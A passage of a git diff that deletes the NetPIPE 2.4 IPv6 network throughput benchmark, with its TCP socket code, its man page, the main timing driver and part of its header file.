-	socklen_t clen;
-	int one = 1;
-	struct protoent *proto;
-
-	clen = sizeof(p->prot.sin2);
-	if (p->tr) {
-		if (connect(p->commfd, (struct sockaddr *)&(p->prot.sin1),
-			    sizeof(p->prot.sin1)) < 0) {
-			printf("Client: Cannot Connect! errno=%d\n", errno);
-			exit(-10);
-		}
-	} else {
-		/* SERVER */
-		listen(p->servicefd, 5);
-		p->commfd =
-		    accept(p->servicefd, (struct sockaddr *)&(p->prot.sin2),
-			   &clen);
-
-		if (p->commfd < 0) {
-			printf("Server: Accept Failed! errno=%d\n", errno);
-			exit(-12);
-		}
-
-		/*
-		   Attempt to set TCP_NODELAY. TCP_NODELAY may or may not be propagated
-		   to accepted sockets.
-		 */
-		if (!(proto = getprotobyname("tcp"))) {
-			printf("unknown protocol!\n");
-			exit(555);
-		}
-
-		if (setsockopt(p->commfd, proto->p_proto, TCP_NODELAY,
-			       &one, sizeof(one)) < 0) {
-			printf("setsockopt: TCP_NODELAY failed! errno=%d\n",
-			       errno);
-			exit(556);
-		}
-
-		/* If requested, set the send and receive buffer sizes */
-		if (p->prot.sndbufsz > 0) {
-			printf
-			    ("Send and Receive Buffers on accepted socket set to %d bytes\n",
-			     p->prot.sndbufsz);
-			if (setsockopt
-			    (p->commfd, SOL_SOCKET, SO_SNDBUF,
-			     &(p->prot.sndbufsz),
-			     sizeof(p->prot.sndbufsz)) < 0) {
-				printf
-				    ("setsockopt: SO_SNDBUF failed! errno=%d\n",
-				     errno);
-				exit(556);
-			}
-			if (setsockopt
-			    (p->commfd, SOL_SOCKET, SO_RCVBUF,
-			     &(p->prot.rcvbufsz),
-			     sizeof(p->prot.rcvbufsz)) < 0) {
-				printf
-				    ("setsockopt: SO_RCVBUF failed! errno=%d\n",
-				     errno);
-				exit(556);
-			}
-		}
-	}
-	return (0);
-}
-
-int CleanUp(ArgStruct * p)
-{
-	char *quit = "QUIT";
-	if (p->tr) {
-		write(p->commfd, quit, 5);
-		read(p->commfd, quit, 5);
-		close(p->commfd);
-	} else {
-		read(p->commfd, quit, 5);
-		write(p->commfd, quit, 5);
-		close(p->commfd);
-		close(p->servicefd);
-	}
-	return (0);
-}
diff --git a/tools/netpipe-2.4-ipv6/TCP.h b/tools/netpipe-2.4-ipv6/TCP.h
deleted file mode 100644
index b924d51..0000000
--- a/tools/netpipe-2.4-ipv6/TCP.h
+++ /dev/null
@@ -1,24 +0,0 @@
-/*
-  Define the protocol structure to be used by NetPIPE for TCP.
-
-  2002/03/18 --- Modified for IPv6 - Robbie Williamson (robbiew@us.ibm.com)
-  */
-
-#include <netdb.h>
-#include <sys/socket.h>
-#include <netinet/in.h>
-#include <netinet/tcp.h>
-#include <arpa/inet.h>
-
-typedef struct protocolstruct ProtocolStruct;
-struct protocolstruct
-{
-    struct sockaddr_in6     sin1,   /* socket structure #1              */
-                            sin2;   /* socket structure #2              */
-    int                     nodelay;  /* Flag for TCP nodelay           */
-    struct addrinfo         *addr;    /* Address of host                */
-    struct addrinfo         *server_addr; /* Address of server          */
-    int                     sndbufsz, /* Size of TCP send buffer        */
-                            rcvbufsz; /* Size of TCP receive buffer     */
-};
-
diff --git a/tools/netpipe-2.4-ipv6/netpipe.1 b/tools/netpipe-2.4-ipv6/netpipe.1
deleted file mode 100644
index 12d2765..0000000
--- a/tools/netpipe-2.4-ipv6/netpipe.1
+++ /dev/null
@@ -1,404 +0,0 @@
-.\" -*- nroff -*-
-.\"
-.\" NetPIPE -- Network Protocol Independent Performance Evaluator.
-.\" Copyright 1997, 1998 Iowa State University Research Foundation, Inc.
-.\"
-.\" This program is free software; you can redistribute it and/or modify
-.\" it under the terms of the GNU General Public License as published by
-.\" the Free Software Foundation.  You should have received a copy of the
-.\" GNU General Public License along with this program; if not, write to the
-.\" Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
-.\"
-.\" netpipe.1
-.\" Created: Mon Jun 15 1998 by Guy Helmer
-.\"
-.\" $Id: netpipe.1,v 1.1 2003/03/28 18:14:44 robbiew Exp $
-.\"
-.TH netpipe 1 "June 15, 1998" "NetPIPE" "netpipe"
-
-.SH NAME
-NetPIPE \- network protocol independent performance evaluator
-
-.SH SYNOPSIS
-.B NPtcp
-[\c
-.BI \-A \ buffer_alignment\fR\c
-]
-[\c
-.BR \-a \c
-]
-[\c
-.BI \-b \ TCP_buffer_size\fR\c
-]
-[\c
-.BI \-h \ host_name\fR\c
-]
-[\c
-.BI \-H \ server_name\fR\c
-]
-[\c
-.BI \-i \ increment\fR\c
-]
-[\c
-.BI \-l \ starting_msg_size\fR\c
-]
-[\c
-.BI \-O \ buffer_offset\fR\c
-]
-[\c
-.BI \-o \ output_filename\fR\c
-]
-[\c
-.BR \-P \c
-]
-[\c
-.BI \-p \ port\fR\c
-]
-[\c
-.BR \-r \c
-]
-[\c
-.BR \-s \c
-]
-[\c
-.BR \-t \c
-]
-[\c
-.BI \-u \ ending_msg_size\fR\c
-]
-
-.PP
-
-.B NPmpi
-[\c
-.BI \-A \ buffer_alignment\fR\c
-]
-[\c
-.BR \-a \c
-]
-[\c
-.BI \-i \ increment\fR\c
-]
-[\c
-.BI \-l \ starting_msg_size\fR\c
-]
-[\c
-.BI \-O \ buffer_offset\fR\c
-]
-[\c
-.BI \-o \ output_filename\fR\c
-]
-[\c
-.BR \-P \c
-]
-[\c
-.BR \-s \c
-]
-[\c
-.BI \-u \ ending_msg_size\fR\c
-]
-
-.PP
-
-.B NPpvm
-[\c
-.BI \-A \ buffer_alignment\fR\c
-]
-[\c
-.BR \-a \c
-]
-[\c
-.BI \-i \ increment\fR\c
-]
-[\c
-.BI \-l \ starting_msg_size\fR\c
-]
-[\c
-.BI \-O \ buffer_offset\fR\c
-]
-[\c
-.BI \-o \ output_filename\fR\c
-]
-[\c
-.BR \-P \c
-]
-[\c
-.BR \-r \c
-]
-[\c
-.BR \-s \c
-]
-[\c
-.BR \-t \c
-]
-[\c
-.BI \-u \ ending_msg_size\fR\c
-]
-
-.SH DESCRIPTION
-.PP
-.B NetPIPE
-is a protocol independent performance tool that encapsulates
-the best of ttcp and netperf and visually represents the network
-performance under a variety of conditions. By taking the end-to-end
-application view of a network,
-.B NetPIPE
-clearly shows the overhead
-associated with different protocol layers.
-.B NetPIPE
-answers such questions as:
-.RS
-How soon will a given data block of size k arrive at its destination?
-.PP
-Which network and protocol will transmit size k blocks the fastest?
-.PP
-What is a given network's effective maximum throughput and saturation
-level?
-.PP
-Does there exist a block size k for which the throughput is maximized?
-.PP
-How much communication overhead is due to the network communication
-protocol layer(s)?
-.PP
-How quickly will a small (< 1 kbyte) control message arrive, and which
-network and protocol are best for this purpose?
-.RE
-.PP
-.B NetPIPE
-is provided with interfaces for TCP, MPI, and PVM, but TCP is the most
-commonly used interface for general network testing purposes.  It
-should be easy to write new interfaces for other reliable protocols based
-on the examples provided by the TCP, MPI and PVM interfaces.
-.SH TESTING TCP
-.PP
-Typical use for TCP involves running the TCP NetPIPE receiver on one
-system with the command
-.PP
-.Ex
-NPtcp \-r
-.Ee
-.PP
-.PP
-.Ex
-NPtcp \-r -H <specified interface address/hostname>
-.Ee
-.PP
-and running the TCP NetPIPE transmitter on another system with the
-command
-.PP
-.Ex
-NPtcp \-h receiver_hostname \-o output_filename \-P \-t
-.Ee
-.PP
-If any options are used that modify the test protocol, including \-i,
-\-l, \-p, \-s, and \-u, those parameters
-.B must
-be used on both the transmitter and the receiver, or the test
-will not run properly.
-.SH TESTING PVM
-.PP
-Typical use for PVM first requires starting PVM with the command
-.PP
-.Ex
-pvm
-.Ee
-.PP
-and adding a second machine with the PVM command
-.PP
-.Ex
-add othermachine
-.Ee
-.PP
-(then exit the PVM command line interface).  Then run the PVM NetPIPE
-receiver on one system with the command
-.PP
-.Ex
-NPpvm \-r
-.Ee
-.PP
-and run the TCP NetPIPE transmitter on the other system with the
-command
-.PP
-.Ex
-NPpvm \-t \-o output_filename \-P
-.Ee
-.PP
-If any options are used that modify the test protocol, including \-i,
-\-l, \-p, \-s, and \-u, those parameters
-.B must
-be used on both the transmitter and the receiver, or the test
-will not run properly.
-.SH TESTING MPI
-.PP
-Use of the MPI interface for NetPIPE depends on the MPI implementation
-used.  For the Argonne MPICH implementation using the p4 device (for a
-cluster of individual systems interconnected using TCP/IP), create a
-file that contains the hostnames of the two systems you want to
-include in the test, with one hostname on each line of the file
-(assume the file is named "machines.p4").  Then, use the command
-.PP
-.Ex
-mpirun \-machinefile machines.p4 \-np 2 NPmpi \-o output_filename \-P
-.Ee
-.PP
-to start the test.  MPICH will start an NPmpi process on each of the
-two selected machines and the test will begin.
-.SH TESTING METHODOLOGY
-.PP
-.B NetPIPE
-tests network performance by sending a number of messages at each
-block size, starting from the lower bound on message size.
-.B NetPIPE
-increments the message size until the upper bound on message size is
-reached or the time to transmit a block exceeds one second, which ever
-occurs first.
-.PP
-.B NetPIPE\c
-\'s output file may be graphed with a program such as
-.B gnuplot(1)
-to view the results of the test.
-.B NetPIPE\c
-\'s
-output file contains five columns: time to transfer the block, bits
-per second, bits in block, bytes in block, and variance.  These
-columns may be graphed to represent and compare the network's
-performance.  For example, the
-.B network signature graph
-can be created by graphing time versus bits per second.  Sample
-.B gnuplot(1)
-commands for such a graph would be
-.PP
-.Ex
-set logscale x
-.Ee
-.PP
-.Ex
-plot "NetPIPE.out" using 1:2
-.Ee
-.PP
-The more traditional
-.B throughput versus block size
-graph can be created by graphing bytes versus bits per second.
-Sample
-.B gnuplot(1)
-commands for such a graph would be
-.PP
-.Ex
-set logscale x
-.Ee
-.PP
-.Ex
-plot "NetPIPE.out" using 4:2
-.Ee
-
-.ne 5
-.SH OPTIONS
-.TP
-.B \-A \ \fIalignment\fR
-Align buffers to the given boundary.  For example, a value of 4 would
-align buffers to 4-byte (word) boundaries.
-.ne 3
-.TP
-.B \-a
-Specify asynchronous receive (a.k.a. preposted receive), if the
-underlying protocol supports it.
-.ne 3
-.TP
-.BI \-b \ \fIbuffer_size\fR
-[TCP only] Set send and receive TCP buffer sizes.
-.ne 3
-.TP
-.BI \-h \ \fIhostname\fR
-[TCP transmitter only] Specify name of host to which to connect.
-.ne 3
-.TP
-.BI \-i \ \fIincrement\fR
-Specify increment step size (default is an exponentially increasing
-increment).
-.ne 3
-.TP
-.BI \-l \ \fIstart_msg_size\fR
-Specify the starting message size.  The test will start with messages
-of this size and increment, either exponentially or with an increment
-specified by the
-.B \-i
-flag, until a block requires more than one second to transmit or the
-ending message size specified by the
-.B \-u
-flag is reached, which ever occurs first.
-.ne 3
-.TP
-.BI \-O \ \fIbuffer_offset\fR
-Specify offset of buffers from alignment.  For example, specifying an
-alignment of 4 (with \-A) and an offset of 1 would align buffers to
-the first byte after a word boundary.
-.ne 3
-.TP
-.BI \-o \ \fIoutput_filename\fR
-Specify output filename.  By default, the output filename is
-.IR NetPIPE.out .
-.ne 3
-.TP
-.B \-P
-Print results on screen during execution of the test.  By default,
-NetPIPE is silent during execution of the test.
-.ne 3
-.TP
-.BI \-p \ \fIport_number\fR
-[TCP only] Specify TCP port number to which to connect (for the
-transmitter) or the port on which to listen for connections (for the
-receiver).
-.ne 3
-.TP
-.B \-r
-[TCP only] This process is a TCP receiver.
-.ne 3
-.TP
-.B \-s
-Set streaming mode: data is only transmitted in one direction.  By
-default, the transmitter measures the time taken as each data block is
-sent from the transmitter to the receiver and back, then divides the
-round-trip time by two to obtain the time taken by the message to
-travel in each direction.  In streaming mode, the receiver measures
-the time required to receive the message and sends the measured time
-back to the transmitter for posting to the output file.
-.ne 3
-.TP
-.B \-t
-[TCP only] This process is a TCP transmitter.
-.ne 3
-.TP
-.BI \-u \ \fIending_msg_size\fR
-Specify the ending message size.  By default, the test will end when
-the time to transmit a block exceeds one second.  If
-.B \-u
-is specified, the test will end when either the test time exceeds one
-second or the ending message size is reached, which ever occurs first.
-
-.ne 3
-.SH FILES
-.TP
-.I NetPIPE.out
-Default output file for
-.BR NetPIPE .
-Overridden by the
-.B \-o
-option.
-
-.SH AUTHOR
-.PP
-Quinn Snell <snell@cs.byu.edu>, Guy Helmer <ghelmer@scl.ameslab.gov>,
-and others.
-.PP
-Clark Dorman <dorman@s3i.com> contributed the PVM interface.
-.PP
-Information about
-.B NetPIPE
-can be found on the World Wide Web at
-http://www.scl.ameslab.gov/netpipe/.
-
-.SH BUGS
-By nature,
-.B NetPIPE
-will use as much of the network bandwidth as possible.  Other users of
-the network may notice the effect.
diff --git a/tools/netpipe-2.4-ipv6/netpipe.c b/tools/netpipe-2.4-ipv6/netpipe.c
deleted file mode 100644
index 727db5e..0000000
--- a/tools/netpipe-2.4-ipv6/netpipe.c
+++ /dev/null
@@ -1,543 +0,0 @@
-/*****************************************************************************/
-/* "NetPIPE" -- Network Protocol Independent Performance Evaluator.          */
-/* Copyright 1997, 1998 Iowa State University Research Foundation, Inc.      */
-/*                                                                           */
-/* This program is free software; you can redistribute it and/or modify      */
-/* it under the terms of the GNU General Public License as published by      */
-/* the Free Software Foundation.  You should have received a copy of the     */
-/* GNU General Public License along with this program; if not, write to the  */
-/* Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.   */
-/*                                                                           */
-/* Files needed for use:                                                     */
-/*     * netpipe.c          ---- Driver source                               */
-/*     * netpipe.h          ---- General include file                        */
-/*     * TCP.c              ---- TCP calls source                            */
-/*     * TCP.h              ---- Include file for TCP calls and data structs */
-/*     * MPI.c              ---- MPI calls source                            */
-/*     * MPI.h              ---- Include file for MPI calls and data structs */
-/*     * PVM.c              ---- PVM calls source                            */
-/*     * PVM.h              ---- Include file for PVM calls and data structs */
-/* 2002/03/18 --- Modified to specify server interfaces - Robbie Williamson  */
-/*		  (robbiew@us.ibm.com)					     */
-/*****************************************************************************/
-#include "netpipe.h"
-
-extern char *optarg;
-
-/* Return the current time in seconds, using a double precision number.      */
-double When()
-{
-	struct timeval tp;
-	gettimeofday(&tp, NULL);
-	return ((double)tp.tv_sec + (double)tp.tv_usec * 1e-6);
-}
-
-int PrintUsage()
-{
-	printf("\n NETPIPE USAGE \n\n");
-	printf("A: specify buffers alignment e.g.: <-A 1024>\n");
-	printf("a: asynchronous receive (a.k.a. preposted receive)\n");
-#if defined(TCP)
-	printf("b: specify send and receive buffer sizes e.g. <-b 32768>\n");
-	printf("h: specify hostname <-h host>\n");
-	printf("H: specify server hostname <-H HOST> e.g. Multiple NICs\n");
-#endif
-	printf("i: specify increment step size e.g. <-i 64>\n");
-	printf("l: lower bound start value e.g. <-i 1>\n");
-	printf("O: specify buffer offset e.g. <-O 127>\n");
-	printf("o: specify output filename <-o fn>\n");
-	printf("P: print on screen\n");
-#if defined(TCP)
-	printf("p: specify port e.g. <-p 5150>\n");
-#endif
-	printf("r: receiver\n");
-	printf("s: stream option\n");
-	printf("t: transmitter\n");
-	printf("u: upper bound stop value e.g. <-u 1048576>\n");
-	printf("\n");
-	exit(-12);
-}
-
-int main(int argc, char *argv[])
-{
-	FILE *out;		/* Output data file                          */
-	char s[255];		/* Generic string                            */
-	char *memtmp;
-	char *memtmp1;
-
-	int c,			/* option index                              */
-	 i, j, n, nq,		/* Loop indices                              */
-	 asyncReceive = 0,	/* Pre-post a receive buffer?                */
-	    bufoffset = 0,	/* Align buffer to this                      */
-	    bufalign = 16 * 1024,	/* Boundary to align buffer to              */
-	    errFlag,		/* Error occurred in inner testing loop      */
-	    nrepeat,		/* Number of time to do the transmission     */
-	    len,		/* Number of bytes to be transmitted         */
-	    inc = 0,		/* Increment value                           */
-	    trans = -1,		/* Transmitter flag. 1 if transmitting.      */
-	    server = 0,		/* Server flag. 1 if specifying server.      */
-	    detailflag = 0,	/* Set to examine the signature curve detail */
-	    bufszflag = 0,	/* Set to change the TCP socket buffer size  */
-	    pert,		/* Perturbation value                        */
-	    start = 1,		/* Starting value for signature curve        */
-	    end = MAXINT,	/* Ending value for signature curve          */
-	    streamopt = 0,	/* Streaming mode flag                       */
-	    printopt = 0;	/* Debug print statements flag               */
-
-	ArgStruct args;		/* Argumentsfor all the calls                */
-
-	double t, t0, t1, t2,	/* Time variables                            */
-	 tlast,			/* Time for the last transmission            */
-	 latency;		/* Network message latency                   */
-
-	Data bwdata[NSAMP];	/* Bandwidth curve data                      */
-
-	short port = DEFPORT;	/* Port number for connection                */
-#ifdef HAVE_GETRUSAGE
-	struct rusage prev_rusage, curr_rusage;	/* Resource usage                */
-	double user_time, sys_time;	/* User & system time used                   */
-	double best_user_time, best_sys_time;	/* Total user & system time used     */
-	double ut1, ut2, st1, st2;	/* User & system time ctrs for variance  */
-	double ut_var, st_var;	/* Variance in user & system time            */
-#endif
-
-#ifdef MPI
-	MPI_Init(&argc, &argv);
-#endif
-
-	strcpy(s, "NetPIPE.out");
-#ifndef MPI
-	if (argc < 2)
-		PrintUsage();
-#endif
-	/* Parse the arguments. See Usage for description */
-	while ((c = getopt(argc, argv, "PstrhH:p:o:A:O:l:u:i:b:a")) != -1) {
-		switch (c) {
-		case 'o':
-			strcpy(s, optarg);
-			break;
-
-		case 't':
-			trans = 1;
-			break;
-
-		case 'r':
-			trans = 0;
-			break;
-
-		case 's':
-			streamopt = 1;
-			break;
-
-		case 'l':	/*detailflag = 1; */
-			start = atoi(optarg);
-			if (start < 1) {
-				fprintf(stderr, "Need a starting value >= 1\n");
-				exit(743);
-			}
-			break;
-
-		case 'u':	/*detailflag = 1; */
-			end = atoi(optarg);
-			break;
-
-		case 'i':
-			detailflag = 1;
-			inc = atoi(optarg);
-			break;
-
-		case 'b':
-			bufszflag = 1;
-#ifdef TCP
-			args.prot.rcvbufsz = atoi(optarg);
-			args.prot.sndbufsz = args.prot.rcvbufsz;
-#endif
-			break;
-
-		case 'P':
-			printopt = 1;
-			break;
-
-		case 'A':
-			bufalign = atoi(optarg);
-			break;
-
-		case 'O':
-			bufoffset = atoi(optarg);
-			break;
-
-		case 'p':
-			port = atoi(optarg);
-			break;
-
-		case 'h':
-			if (trans == 1) {
-				args.host = (char *)malloc(strlen(optarg) + 1);
-				strcpy(args.host, optarg);
-				printf("host is %s\n", args.host);
-			} else {
-				fprintf(stderr,
-					"Error: -t must be specified before -h\n");
-				exit(-11);
-			}
-			break;
-
-		case 'H':
-			if (trans == 0) {
-				args.server_host =
-				    (char *)malloc(strlen(optarg) + 1);
-				strcpy(args.server_host, optarg);
-				printf("server is %s\n", args.server_host);
-				server = 1;
-			} else {
-				fprintf(stderr,
-					"Error: -r must be specified before -H\n");
-				exit(-11);
-			}
-			break;
-
-		case 'a':
-			asyncReceive = 1;
-			break;
-
-		default:
-			PrintUsage();
-			exit(-12);
-		}
-	}
-	if (start > end) {
-		fprintf(stderr, "Start MUST be LESS than end\n");
-		exit(420132);
-	}
-#if defined(TCP) || defined(PVM)
-	/*
-	   It should be explicitly specified whether this is the transmitter
-	   or the receiver.
-	 */
-	if (trans < 0) {
-		fprintf(stderr, "Error: either -t or -r must be specified\n");
-		exit(-11);
-	}
-#endif
-
-	args.nbuff = TRIALS;
-	args.tr = trans;
-	args.sr = server;
-	args.port = port;
-
-#if defined(TCP)
-	if (!bufszflag) {
-		args.prot.sndbufsz = 0;
-		args.prot.rcvbufsz = 0;
-	} else
-		fprintf(stderr, "Send and Recv Buffers are %d bytes\n",
-			args.prot.sndbufsz);
-#endif
-
-	Setup(&args);
-	Establish(&args);
-
-	if (args.tr) {
-		if ((out = fopen(s, "w")) == NULL) {
-			fprintf(stderr, "Can't open %s for output\n", s);
-			exit(1);
-		}
-	} else
-		out = stdout;
-
-	args.bufflen = 1;
-	args.buff = (char *)malloc(args.bufflen);
-	args.buff1 = (char *)malloc(args.bufflen);
-	if (asyncReceive)
-		PrepareToReceive(&args);
-	Sync(&args);
-	t0 = When();
-	t0 = When();
-	t0 = When();
-#ifdef HAVE_GETRUSAGE
-	getrusage(RUSAGE_SELF, &prev_rusage);
-#endif
-	t0 = When();
-	for (i = 0; i < LATENCYREPS; i++) {
-		if (args.tr) {
-			SendData(&args);
-			RecvData(&args);
-			if (asyncReceive && (i < LATENCYREPS - 1)) {
-				PrepareToReceive(&args);
-			}
-		} else {
-			RecvData(&args);
-			if (asyncReceive && (i < LATENCYREPS - 1)) {
-				PrepareToReceive(&args);
-			}
-			SendData(&args);
-		}
-	}
-	latency = (When() - t0) / (2 * LATENCYREPS);
-#ifdef HAVE_GETRUSAGE
-	getrusage(RUSAGE_SELF, &curr_rusage);
-#endif
-	free(args.buff);
-	free(args.buff1);
-
-	if (args.tr) {
-		SendTime(&args, &latency);
-	} else {
-		RecvTime(&args, &latency);
-	}
-	if (args.tr && printopt) {
-		fprintf(stderr, "Latency: %.7f\n", latency);
-		fprintf(stderr, "Now starting main loop\n");
-	}
-	tlast = latency;
-	if (inc == 0) {
-		/* Set a starting value for the message size increment. */
-		inc = (start > 1) ? start / 2 : 1;
-	}
-
-	/* Main loop of benchmark */
-	for (nq = n = 0, len = start, errFlag = 0;
-	     n < NSAMP - 3 && tlast < STOPTM && len <= end && !errFlag;
-	     len = len + inc, nq++) {
-		if (nq > 2 && !detailflag) {
-			/*
-			   This has the effect of exponentially increasing the block
-			   size.  If detailflag is false, then the block size is
-			   linearly increased (the increment is not adjusted).
-			 */
-			inc = ((nq % 2)) ? inc + inc : inc;
-		}
-
-		/* This is a perturbation loop to test nearby values */
-		for (pert = (!detailflag && inc > PERT + 1) ? -PERT : 0;
-		     pert <= PERT;
-		     n++, pert += (!detailflag
-				   && inc > PERT + 1) ? PERT : PERT + 1) {
-
-			/* Calculate how many times to repeat the experiment. */
-			if (args.tr) {
-				nrepeat = MAX((RUNTM / ((double)args.bufflen /
-							(args.bufflen - inc +
-							 1.0) * tlast)),
-					      TRIALS);
-				SendRepeat(&args, nrepeat);
-			} else {
-				RecvRepeat(&args, &nrepeat);
-			}
-
-			/* Allocate the buffer */
-			args.bufflen = len + pert;
-			if ((args.buff =
-			     (char *)malloc(args.bufflen + bufalign)) ==
-			    (char *)NULL) {
-				fprintf(stderr, "Couldn't allocate memory\n");
-				errFlag = -1;
-				break;
-			}
-			if ((args.buff1 =
-			     (char *)malloc(args.bufflen + bufalign)) ==
-			    (char *)NULL) {
-				fprintf(stderr, "Couldn't allocate memory\n");
-				errFlag = -1;
-				break;
-			}
-			/*
-			   Possibly align the data buffer: make memtmp and memtmp1
-			   point to the original blocks (so they can be freed later),
-			   then adjust args.buff and args.buff1 if the user requested it.
-			 */
-			memtmp = args.buff;
-			memtmp1 = args.buff1;
-			if (bufalign != 0)
-				args.buff += (bufalign -
-					      ((intptr_t) args.buff %
-					       bufalign) +
-					      bufoffset) % bufalign;
-
-			if (bufalign != 0)
-				args.buff1 += (bufalign -
-					       ((intptr_t) args.buff1 %
-						bufalign) +
-					       bufoffset) % bufalign;
-
-			if (args.tr && printopt)
-				fprintf(stderr, "%3d: %9d bytes %4d times --> ",
-					n, args.bufflen, nrepeat);
-
-			/* Finally, we get to transmit or receive and time */
-			if (args.tr) {
-				/*
-				   This is the transmitter: send the block TRIALS times, and
-				   if we are not streaming, expect the receiver to return each
-				   block.
-				 */
-				bwdata[n].t = LONGTIME;
-				t2 = t1 = 0;
-#ifdef HAVE_GETRUSAGE
-				ut1 = ut2 = st1 = st2 = 0.0;
-				best_user_time = best_sys_time = LONGTIME;
-#endif
-				for (i = 0; i < TRIALS; i++) {
-					Sync(&args);
-#ifdef HAVE_GETRUSAGE
-					getrusage(RUSAGE_SELF, &prev_rusage);
-#endif
-					t0 = When();
-					for (j = 0; j < nrepeat; j++) {
-						if (asyncReceive && !streamopt) {
-							PrepareToReceive(&args);
-						}
-						SendData(&args);
-						if (!streamopt) {
-							RecvData(&args);
-						}
-					}
-					t = (When() -
-					     t0) / ((1 + !streamopt) * nrepeat);
-#ifdef HAVE_GETRUSAGE
-					getrusage(RUSAGE_SELF, &curr_rusage);
-					user_time =
-					    ((curr_rusage.ru_utime.tv_sec -
-					      prev_rusage.ru_utime.tv_sec) +
-					     (double)
-					     (curr_rusage.ru_utime.tv_usec -
-					      prev_rusage.ru_utime.tv_usec) *
-					     1.0E-6) / ((1 +
-							 !streamopt) * nrepeat);
-					sys_time =
-					    ((curr_rusage.ru_stime.tv_sec -
-					      prev_rusage.ru_stime.tv_sec) +
-					     (double)
-					     (curr_rusage.ru_stime.tv_usec -
-					      prev_rusage.ru_stime.tv_usec) *
-					     1.0E-6) / ((1 +
-							 !streamopt) * nrepeat);
-					ut2 += user_time * user_time;
-					st2 += sys_time * sys_time;
-					ut1 += user_time;
-					st1 += sys_time;
-					if ((user_time + sys_time) <
-					    (best_user_time + best_sys_time)) {
-						best_user_time = user_time;
-						best_sys_time = sys_time;
-					}
-#endif
-
-					if (!streamopt) {
-						t2 += t * t;
-						t1 += t;
-						bwdata[n].t =
-						    MIN(bwdata[n].t, t);
-					}
-				}
-				if (!streamopt)
-					SendTime(&args, &bwdata[n].t);
-				else
-					RecvTime(&args, &bwdata[n].t);
-
-				if (!streamopt)
-					bwdata[n].variance =
-					    t2 / TRIALS -
-					    t1 / TRIALS * t1 / TRIALS;
-
-#ifdef HAVE_GETRUSAGE
-				ut_var =
-				    ut2 / TRIALS -
-				    (ut1 / TRIALS) * (ut1 / TRIALS);
-				st_var =
-				    st2 / TRIALS -
-				    (st1 / TRIALS) * (st1 / TRIALS);
-#endif
-
-			} else {
-				/*
-				   This is the receiver: receive the block TRIALS times, and
-				   if we are not streaming, send the block back to the
-				   sender.
-				 */
-				bwdata[n].t = LONGTIME;
-				t2 = t1 = 0;
-				for (i = 0; i < TRIALS; i++) {
-					if (asyncReceive) {
-						PrepareToReceive(&args);
-					}
-					Sync(&args);
-					t0 = When();
-					for (j = 0; j < nrepeat; j++) {
-						RecvData(&args);
-						if (asyncReceive
-						    && (j < nrepeat - 1)) {
-							PrepareToReceive(&args);
-						}
-						if (!streamopt)
-							SendData(&args);
-					}
-					t = (When() -
-					     t0) / ((1 + !streamopt) * nrepeat);
-
-					if (streamopt) {
-						t2 += t * t;
-						t1 += t;
-						bwdata[n].t =
-						    MIN(bwdata[n].t, t);
-					}
-				}
-				if (streamopt)
-					SendTime(&args, &bwdata[n].t);
-				else
-					RecvTime(&args, &bwdata[n].t);
-
-				if (streamopt)
-					bwdata[n].variance =
-					    t2 / TRIALS -
-					    t1 / TRIALS * t1 / TRIALS;
-
-			}
-			tlast = bwdata[n].t;
-			bwdata[n].bits = args.bufflen * CHARSIZE;
-			bwdata[n].bps =
-			    bwdata[n].bits / (bwdata[n].t * 1024 * 1024);
-			bwdata[n].repeat = nrepeat;
-
-			if (args.tr) {
-				fprintf(out, "%.7f %.7f %d %d %.7f",
-					bwdata[n].t, bwdata[n].bps,
-					bwdata[n].bits, bwdata[n].bits / 8,
-					bwdata[n].variance);
-#ifdef HAVE_GETRUSAGE
-				fprintf(out, " %.7f %.7f %.7f %.7f",
-					ut1 / (double)TRIALS,
-					st1 / (double)TRIALS, ut_var, st_var);
-#endif
-				fprintf(out, "\n");
-			}
-			fflush(out);
-
-			free(memtmp);
-			free(memtmp1);
-
-			if (args.tr && printopt) {
-				fprintf(stderr, " %6.3f Mbps in %.7f sec",
-					bwdata[n].bps, tlast);
-#ifdef HAVE_GETRUSAGE
-				fprintf(stderr,
-					", avg utime=%.7f avg stime=%.7f, ",
-					ut1 / (double)TRIALS,
-					st1 / (double)TRIALS);
-				fprintf(stderr, "min utime=%.7f stime=%.7f, ",
-					best_user_time, best_sys_time);
-				fprintf(stderr, "utime var=%.7f stime var=%.7f",
-					ut_var, st_var);
-#endif
-				fprintf(stderr, "\n");
-			}
-		}		/* End of perturbation loop */
-
-	}			/* End of main loop  */
-
-	if (args.tr)
-		fclose(out);
-
-	CleanUp(&args);
-	return (0);
-}
diff --git a/tools/netpipe-2.4-ipv6/netpipe.h b/tools/netpipe-2.4-ipv6/netpipe.h
deleted file mode 100644
index 994676f..0000000
--- a/tools/netpipe-2.4-ipv6/netpipe.h
+++ /dev/null
@@ -1,109 +0,0 @@
-/*****************************************************************************/
-/* "NetPIPE" -- Network Protocol Independent Performance Evaluator.          */
-/* Copyright 1997, 1998 Iowa State University Research Foundation, Inc.      */
-/*                                                                           */
-/* This program is free software; you can redistribute it and/or modify      */
-/* it under the terms of the GNU General Public License as published by      */
-/* the Free Software Foundation.  You should have received a copy of the     */
-/* GNU General Public License along with this program; if not, write to the  */
-/* Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.   */
-/*                                                                           */
-/*     * netpipe.h          ---- General include file                        */
-/*****************************************************************************/
-
-
-#include <ctype.h>
-#include <errno.h>
-#include <signal.h>
-#include <unistd.h>
-#include <stdio.h>
-#include <stdlib.h>         /* malloc(3) */
-#include <string.h>
-#include <sys/types.h>
-#include <sys/time.h>       /* struct timeval */
-#ifdef HAVE_GETRUSAGE
-#include <sys/resource.h>
-#endif
-
-
-#define  DEFPORT            5002
-#define  TRIALS             7
-#define  NSAMP              8000
-#define  PERT               3
-#define  LATENCYREPS        100
-#define  LONGTIME           1e99
-#define  CHARSIZE           8
-#define  RUNTM              0.25
-#define  STOPTM             1.0
-#define  MAXINT             2147483647
-
-#define     ABS(x)     (((x) < 0)?(-(x)):(x))
-#define     MIN(x,y)   (((x) < (y))?(x):(y))
-#define     MAX(x,y)   (((x) > (y))?(x):(y))
-
-/* Need to include the protocol structure header file.                       */
-/* Change this to reflect the protocol                                       */
-#if defined(TCP)
-#include "TCP.h"
-#elif defined(MPI)
-#include "MPI.h"
-#elif defined(PVM)
-#include "PVM.h"
-#else
-#error "One of TCP, MPI, or PVM must be defined during compilation"
-#endif
-
-
-typedef struct argstruct ArgStruct;
-struct argstruct
-{
-    /* This is the common information that is needed for all tests           */
